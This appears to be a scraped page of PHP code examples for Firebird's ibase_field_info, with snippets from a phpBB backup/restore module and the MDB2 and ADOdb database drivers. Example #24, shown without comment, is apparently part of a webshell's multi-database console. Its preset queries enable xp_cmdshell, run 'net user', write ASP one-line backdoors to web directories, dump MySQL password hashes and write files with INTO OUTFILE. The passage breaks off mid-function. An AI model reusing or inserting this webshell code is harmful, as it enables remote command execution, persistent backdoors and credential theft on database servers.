                                                if (empty($str_val) && $str_val !== '0' && !(is_int($str_val) || is_float($str_val))) {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = $ary_name[$i];
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        if ($retrieved_data) {
                                            $sql_data = "\nGO\n";
                                            if ($ident_set) {
                                                $sql_data .= "\nSET IDENTITY_INSERT {$table_name} OFF\nGO\n";
                                            }
                                        }
                                        break;
                                    case 'firebird':
                                        $ary_type = $ary_name = array();
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $i_num_fields = ibase_num_fields($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $info = ibase_field_info($result, $i);
                                            $ary_type[$i] = $info['type'];
                                            $ary_name[$i] = $info['name'];
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[strtolower($ary_name[$i])];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0') {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = "'" . $ary_name[$i] . "'";
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        break;
                                    case 'oracle':
                                        $ary_type = $ary_name = array();
                                        // Grab all of the data from current table.
                                        $sql = "SELECT *\n\t\t\t\t\t\t\t\t\t\t\tFROM {$table_name}";
                                        $result = $db->sql_query($sql);
                                        $i_num_fields = ocinumcols($result);
                                        for ($i = 0; $i < $i_num_fields; $i++) {
                                            $ary_type[$i] = ocicolumntype($result, $i);
                                            $ary_name[$i] = ocicolumnname($result, $i);
                                        }
                                        while ($row = $db->sql_fetchrow($result)) {
                                            $schema_vals = $schema_fields = array();
                                            // Build the SQL statement to recreate the data.
                                            for ($i = 0; $i < $i_num_fields; $i++) {
                                                $str_val = $row[$ary_name[$i]];
                                                if (preg_match('#char|text|bool#i', $ary_type[$i])) {
                                                    $str_quote = "'";
                                                    $str_empty = '';
                                                    $str_val = addslashes($str_val);
                                                } else {
                                                    if (preg_match('#date|timestamp#i', $ary_type[$i])) {
                                                        if (empty($str_val)) {
                                                            $str_quote = '';
                                                        } else {
                                                            $str_quote = "'";
                                                        }
                                                    } else {
                                                        $str_quote = '';
                                                        $str_empty = 'NULL';
                                                    }
                                                }
                                                if (empty($str_val) && $str_val !== '0') {
                                                    $str_val = $str_empty;
                                                }
                                                $schema_vals[$i] = $str_quote . $str_val . $str_quote;
                                                $schema_fields[$i] = '"' . $ary_name[$i] . "'";
                                            }
                                            // Take the ordered fields and their associated data and build it
                                            // into a valid sql statement to recreate that field in the data.
                                            $sql_data .= "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES(' . implode(', ', $schema_vals) . ");\n";
                                            if ($store == true) {
                                                $write($fp, $sql_data);
                                            }
                                            if ($download == true) {
                                                if (!empty($oper)) {
                                                    echo $oper($sql_data);
                                                } else {
                                                    echo $sql_data;
                                                }
                                            }
                                            $sql_data = '';
                                        }
                                        $db->sql_freeresult($result);
                                        break;
                                }
                            }
                        }
                        switch (SQL_LAYER) {
                            case 'sqlite':
                            case 'postgres':
                                $sql_data .= "COMMIT;";
                                break;
                            case 'mssql':
                            case 'mssql_odbc':
                                $sql_data .= "COMMIT\nGO";
                                break;
                        }
                        if ($store == true) {
                            $write($fp, $sql_data);
                            $close($fp);
                        }
                        if ($download == true) {
                            if (!empty($oper)) {
                                echo $oper($sql_data);
                            } else {
                                echo $sql_data;
                            }
                            exit;
                        }
                        unset($sql_data);
                        add_log('admin', 'LOG_DB_BACKUP');
                        trigger_error($user->lang['BACKUP_SUCCESS']);
                        break;
                    default:
                        $tables = array();
                        switch (SQL_LAYER) {
                            case 'sqlite':
                                $sql = "SELECT name\n\t\t\t\t\t\t\t\t\tFROM sqlite_master\n\t\t\t\t\t\t\t\t\tWHERE type='table'\n\t\t\t\t\t\t\t\t\tORDER BY name";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (strpos($row['name'], $table_prefix) === 0) {
                                        $tables[] = $row['name'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'mysqli':
                            case 'mysql4':
                            case 'mysql':
                                $sql = "SHOW TABLES\n\t\t\t\t\t\t\t\t\tLIKE '{$table_prefix}%'";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    $tables[] = current($row);
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'postgres':
                                $sql = "SELECT relname\n\t\t\t\t\t\t\t\t\tFROM pg_stat_user_tables\n\t\t\t\t\t\t\t\t\tORDER BY relname;";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (strpos($row['relname'], $table_prefix) === 0) {
                                        $tables[] = $row['relname'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'mssql':
                            case 'mssql_odbc':
                                $sql = "SELECT TABLE_NAME\n\t\t\t\t\t\t\t\t\tFROM INFORMATION_SCHEMA.TABLES\n\t\t\t\t\t\t\t\t\tWHERE TABLE_TYPE = 'BASE TABLE'\n\t\t\t\t\t\t\t\t\tORDER BY TABLE_NAME";
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (strpos($row['TABLE_NAME'], $table_prefix) === 0) {
                                        $tables[] = $row['TABLE_NAME'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'firebird':
                                $sql = 'SELECT RDB$RELATION_NAME as TABLE_NAME
									FROM RDB$RELATIONS
									WHERE RDB$SYSTEM_FLAG=0
										AND RDB$VIEW_BLR IS NULL';
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (stripos($row['table_name'], $table_prefix) === 0) {
                                        $tables[] = $row['table_name'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                            case 'oracle':
                                $sql = 'SELECT TNAME as table_name
									FROM TAB';
                                $result = $db->sql_query($sql);
                                while ($row = $db->sql_fetchrow($result)) {
                                    if (stripos($row['table_name'], $table_prefix) === 0) {
                                        $tables[] = $row['table_name'];
                                    }
                                }
                                $db->sql_freeresult($result);
                                break;
                        }
                        foreach ($tables as $table) {
                            $template->assign_block_vars('tables', array('TABLE' => $table));
                        }
                        $template->assign_vars(array('U_ACTION' => $this->u_action . '&amp;action=download'));
                        $available_methods = array('gzip' => 'zlib', 'bzip2' => 'bz2');
                        foreach ($available_methods as $type => $module) {
                            if (!@extension_loaded($module)) {
                                continue;
                            }
                            $template->assign_block_vars('methods', array('TYPE' => $type));
                        }
                        $template->assign_block_vars('methods', array('TYPE' => 'text'));
                        break;
                }
                break;
            case 'restore':
                switch ($action) {
                    case 'submit':
                        $delete = request_var('delete', '');
                        $file = request_var('file', '');
                        preg_match('#^(\\d{10})\\.(sql(?:\\.(?:gz|bz2))?)$#', $file, $matches);
                        $file_name = $phpbb_root_path . 'store/' . $matches[0];
                        if (!(file_exists($file_name) && is_readable($file_name))) {
                            trigger_error($user->lang['BACKUP_INVALID']);
                        }
                        if ($delete) {
                            unlink($file_name);
                            trigger_error($user->lang['BACKUP_DELETE']);
                        }
                        $data = file_get_contents($file_name);
                        switch ($matches[2]) {
                            case 'sql.bz2':
                                $data = bzdecompress($data);
                                break;
                            case 'sql.gz':
                                $data = gzinflate(substr($data, 10));
                                break;
                        }
                        $download = request_var('download', '');
                        if ($download) {
                            $name = $matches[0];
                            switch ($matches[2]) {
                                case 'sql':
                                    $mimetype = 'text/x-sql';
                                    break;
                                case 'sql.bz2':
                                    $mimetype = 'application/x-bzip2';
                                    break;
                                case 'sql.gz':
                                    $mimetype = 'application/x-gzip';
                                    break;
                            }
                            header('Pragma: no-cache');
                            header("Content-Type: {$mimetype}; name=\"{$name}\"");
                            header("Content-disposition: attachment; filename={$name}");
                            echo $data;
                            die;
                        }
                        if (!empty($data)) {
                            // Strip out sql comments...
                            remove_remarks($data);
                            switch (SQL_LAYER) {
                                case 'firebird':
                                    $delim = ';;';
                                    break;
                                case 'mysql':
                                case 'mysql4':
                                case 'mysqli':
                                case 'sqlite':
                                case 'postgres':
                                    $delim = ';';
                                    break;
                                case 'oracle':
                                    $delim = '/';
                                    break;
                                case 'mssql':
                                case 'mssql-odbc':
                                    $delim = 'GO';
                                    break;
                            }
                            $pieces = split_sql_file($data, $delim);
                            $sql_count = count($pieces);
                            for ($i = 0; $i < $sql_count; $i++) {
                                $sql = trim($pieces[$i]);
                                if (!empty($sql) && $sql[0] != '#') {
                                    $db->sql_query($sql);
                                }
                            }
                        }
                        add_log('admin', 'LOG_DB_RESTORE');
                        trigger_error($user->lang['RESTORE_SUCCESS']);
                        break;
                    default:
                        $selected = false;
                        $methods = array('sql');
                        $available_methods = array('sql.gz' => 'zlib', 'sql.bz2' => 'bz2');
                        foreach ($available_methods as $type => $module) {
                            if (!@extension_loaded($module)) {
                                continue;
                            }
                            $methods[] = $type;
                        }
                        $dir = $phpbb_root_path . 'store/';
                        $dh = opendir($dir);
                        while (($file = readdir($dh)) !== false) {
                            if (preg_match('#^(\\d{10})\\.(sql(?:\\.(?:gz|bz2))?)$#', $file, $matches)) {
                                $supported = in_array($matches[2], $methods);
                                if ($supported == 'true') {
                                    $template->assign_block_vars('files', array('FILE' => $file, 'NAME' => gmdate("d-m-Y H:i:s", $matches[1]), 'SUPPORTED' => $supported));
                                    $selected = true;
                                }
                            }
                        }
                        closedir($dh);
                        if ($selected === true) {
                            $template->assign_var('EXISTS', true);
                        }
                        $template->assign_vars(array('U_ACTION' => $this->u_action . '&amp;action=submit'));
                        break;
                }
                break;
        }
    }
Example #19
0
 function field_info($query, $count)
 {
     if ($this->debug) {
         echo "<pre style=\"color : green\">Getting column information {$this->dbpath} <p style=\"color:purple;\">  {$query} </p></pre>";
     }
     $nooffields = 0;
     //Validate the sql statement and make adjustments
     switch ($this->dbtype) {
         /* Firebird Functionality */
         case "firebird":
             //write some things here
             $col_info = ibase_field_info($query, $count);
             break;
             /* SQLite Functionality */
         /* SQLite Functionality */
         case "sqlite":
             putenv("TMP=" . $this->tmppath);
             $name = sqlite_field_name($query, $count);
             //echo $name;
             $col_info["alias"] = $name;
             $col_info["name"] = $name;
             break;
             /* Oracle Functionality */
         /* Oracle Functionality */
         case "oracle":
             $column_name = oci_field_name($query, $count);
             $column_type = oci_field_type($query, $count);
             $column_size = oci_field_size($query, $count);
             $column_prec = oci_field_precision($query, $count);
             $column_scale = oci_field_scale($query, $count);
             $col_info["name"] = $column_name;
             $col_info["alias"] = $column_name;
             $col_info["length"] = $column_size;
             $col_info["prec"] = $column_prec;
             $col_info["type"] = $column_type;
             $col_info["scale"] = $column_scale;
             break;
             /* PGSQL Functionality */
         /* PGSQL Functionality */
         case "pgsql":
             $col_info["name"] = pg_field_name($query, $count);
             $col_info["alias"] = NULL;
             // always set to NULL
             $col_info["relation"] = NULL;
             // always set to NULL
             $col_info["length"] = pg_field_size($query, $count);
             $col_info["type"] = pg_field_type($query, $count);
             break;
     }
     if ($this->debug) {
         echo "<pre style=\"color : blue\">Column Info fetched for Column {$count} \n </pre>";
     }
     return $col_info;
 }
Example #20
0
 /**
  * Returns information about a table or a result set.
  *
  * NOTE: only supports 'table' and 'flags' if <var>$result</var>
  * is a table name.
  *
  * @param object|string  $result  MDB2_result object from a query or a
  *                                string containing the name of a table
  * @param int            $mode    a valid tableInfo mode
  * @return array  an associative array with the information requested
  *                or an error object if something is wrong
  * @access public
  * @internal
  * @see MDB2_Driver_Common::tableInfo()
  */
 function tableInfo($result, $mode = null)
 {
     $db =& $GLOBALS['_MDB2_databases'][$this->db_index];
     if ($db->options['portability'] & MDB2_PORTABILITY_LOWERCASE) {
         $case_func = 'strtolower';
     } else {
         $case_func = 'strval';
     }
     if (is_string($result)) {
         /*
          * Probably received a table name.
          * Create a result resource identifier.
          */
         if (MDB2::isError($connect = $db->connect())) {
             return $connect;
         }
         $id = @ibase_query($db->connection, "SELECT * FROM {$result} WHERE 1=0");
         $got_string = true;
     } else {
         /*
          * Probably received a result object.
          * Extract the result resource identifier.
          */
         $id = $result->getResource();
         if (empty($id)) {
             return $db->raiseError();
         }
         $got_string = false;
     }
     if (!is_resource($id)) {
         return $db->raiseError(MDB2_ERROR_NEED_MORE_DATA);
     }
     $count = @ibase_num_fields($id);
     // made this IF due to performance (one if is faster than $count if's)
     if (!$mode) {
         for ($i = 0; $i < $count; $i++) {
             $info = @ibase_field_info($id, $i);
             $res[$i]['table'] = $got_string ? $case_func($result) : '';
             $res[$i]['name'] = $case_func($info['name']);
             $res[$i]['type'] = $info['type'];
             $res[$i]['len'] = $info['length'];
             $res[$i]['flags'] = $got_string ? $this->_ibaseFieldFlags($info['name'], $result) : '';
         }
     } else {
         // full
         $res['num_fields'] = $count;
         for ($i = 0; $i < $count; $i++) {
             $info = @ibase_field_info($id, $i);
             $res[$i]['table'] = $got_string ? $case_func($result) : '';
             $res[$i]['name'] = $case_func($info['name']);
             $res[$i]['type'] = $info['type'];
             $res[$i]['len'] = $info['length'];
             $res[$i]['flags'] = $got_string ? $this->_ibaseFieldFlags($info['name'], $result) : '';
             if ($mode & MDB2_TABLEINFO_ORDER) {
                 $res['order'][$res[$i]['name']] = $i;
             }
             if ($mode & MDB2_TABLEINFO_ORDERTABLE) {
                 $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
             }
         }
     }
     // free the result only if we were called on a table
     if ($got_string) {
         @ibase_free_result($id);
     }
     return $res;
 }
Example #21
0
 /**
  * Retrieve the names of columns returned by the DBMS in a query result.
  *
  * @return  mixed   Array variable that holds the names of columns as keys
  *                  or an MDB2 error on failure.
  *                  Some DBMS may not return any columns when the result set
  *                  does not contain any rows.
  * @access private
  */
 function _getColumnNames()
 {
     $columns = array();
     $numcols = $this->numCols();
     if (MDB2::isError($numcols)) {
         return $numcols;
     }
     for ($column = 0; $column < $numcols; $column++) {
         $column_info = @ibase_field_info($this->result, $column);
         $columns[$column_info['alias']] = $column;
     }
     if ($this->db->options['portability'] & MDB2_PORTABILITY_FIX_CASE) {
         $columns = array_change_key_case($columns, $this->db->options['field_case']);
     }
     return $columns;
 }
 function fetch_field()
 {
     $field = ibase_field_info($this->_result, $this->_offset++);
     return (object) array('name' => $field['name'], 'orgname' => $field['name'], 'type' => $field['type'], 'charsetnr' => $field['length']);
 }
 function FetchField($fieldOffset = -1)
 {
     $fld = new ADOFieldObject();
     $ibf = ibase_field_info($this->_queryID, $fieldOffset);
     $name = empty($ibf['alias']) ? $ibf['name'] : $ibf['alias'];
     switch (ADODB_ASSOC_CASE) {
         case ADODB_ASSOC_CASE_UPPER:
             $fld->name = strtoupper($name);
             break;
         case ADODB_ASSOC_CASE_LOWER:
             $fld->name = strtolower($name);
             break;
         case ADODB_ASSOC_CASE_NATIVE:
         default:
             $fld->name = $name;
             break;
     }
     $fld->type = $ibf['type'];
     $fld->max_length = $ibf['length'];
     /*       This needs to be populated from the metadata */
     $fld->not_null = false;
     $fld->has_default = false;
     $fld->default_value = 'null';
     return $fld;
 }
Example #24
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : '';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data">
<div class="actall"><a href="?s=w"> &nbsp psotgresql &nbsp</a> 
<a href="?s=w&db=ms"> &nbsp mssql &nbsp</a> 
<a href="?s=w&db=ora"> &nbsp oracle &nbsp</a>
<a href="?s=w&db=ifx"> &nbsp informix &nbsp</a>
<a href="?s=w&db=fb"> &nbsp  firebird &nbsp</a>
<a href="?s=w&db=db2">&nbsp db2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<form method="POST" name="msform" action="?s=w&db=ms">
<div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
        Str[0] = "";
\tStr[1] = "select @@version;";
        Str[2] = "select name from sysdatabases;";
        Str[3] = "select name from sysobject where type='U';";
        Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
        Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
        Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
        Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
        Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
        Str[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
        msform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">version</option>
        <option value="2">databases</option>
        <option value="3">tables</option>
        <option value="4">columns</option>
        <option value="5">add sp_oacreate</option>
\t<option value="6">add xp_cmdshell</option>
\t<option value="7">add xp_cmdshell(2005)</option>
        <option value="8">add sp_oacreate(2005)</option>
        <option value="9">open openrowset(2005)</option>
        <option value="10">xp_cmdshell exec</option>
        <option value="10">sp_oamethod exec</option>
        <option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$msrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=w&db=ora">
<div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br>
<script language="javascript">
function oraFull(i){
\tStr = new Array(8);
        Str[0] = ""; 
\tStr[1] = "select version();";
        Str[2] = "show databases;";
        Str[3] = "show tables from db_name;";
        Str[4] = "show columns from table_name;";
        Str[5] = "select user,password from mysql.user;";
\tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);";
\tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">version</option>
        <option value="2">databases</option>
        <option value="3">tables</option>
        <option value="4">columns</option>
        <option value="5">hashes</option>
\t<option value="6">load_file</option>
\t<option value="7">into outfile</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$orarow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=w&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
<script language="javascript">
function ifxFull(i){
\tStr = new Array(11);
        Str[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
        Str[2] = "select name from sysdatabases;";
        Str[3] = "select tabname from systables;";
        Str[4] = "select colname from syscolumns where tabid=n;";
        Str[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">dbservername</option>
        <option value="1">databases</option>
        <option value="2">tables</option>
        <option value="3">columns</option>
        <option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$ifxrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=w&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
<script language="javascript">
function db2Full(i){
\tStr = new Array(4);
        Str[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
        Str[2] = "select name from sysibm.systables;";
        Str[3] = "select colname from syscat.columns where tabname='table_name';";
        Str[4] = "db2 get db cfg for db_name;";
\tdb2form.db2sql.value = Str[i];
\treturn true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">databases</option>
        <option value="1">tables</option>
        <option value="2">columns</option>
        <option value="3">db config</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;";
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$db2row[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
